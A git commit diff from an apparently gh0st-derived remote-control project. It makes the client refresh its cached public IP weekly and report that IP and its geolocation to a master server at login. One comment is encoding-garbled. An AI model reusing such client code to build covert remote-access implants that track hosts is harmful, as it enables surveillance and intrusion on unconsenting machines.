fix: Refresh client public IP every one week

This commit is contained in:
yuanyuanxiang
2025-07-28 04:09:04 +08:00
parent 2f22abcbc9
commit 2657b41e5f
2 changed files with 4 additions and 2 deletions

View File

@@ -15,7 +15,7 @@
CONNECT_ADDRESS g_SETTINGS = {
FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
FALSE, Startup_DLL, PROTOCOL_SHINE, PROTO_RANDOM, RUNNING_RANDOM, {},
7057226198541618915, {},
0, 7057226198541618915, {},
};
// <20><><EFBFBD>տͻ<D5BF><CDBB><EFBFBD>ֻ<EFBFBD><D6BB>2<EFBFBD><32>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա.

View File

@@ -325,6 +325,7 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16));
std::string loc = cfg.GetStr("settings", "location", "");
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
auto ip_time = cfg.GetInt("settings", "ip_time");
IPConverter cvt;
if (loc.empty()) {
std::string ip = cvt.getPublicIP();
@@ -332,9 +333,10 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
loc = cvt.GetGeoLocation(pubIP);
cfg.SetStr("settings", "location", loc);
}
if (pubIP.empty()) {
if ( pubIP.empty() || ip_time <= 0 || (time(0)-ip_time>7*86400) ) {
pubIP = cvt.getPublicIP();
cfg.SetStr("settings", "public_ip", pubIP);
cfg.SetInt("settings", "ip_time", time(0));
}
LoginInfor.AddReserved(loc.c_str());
LoginInfor.AddReserved(pubIP.c_str());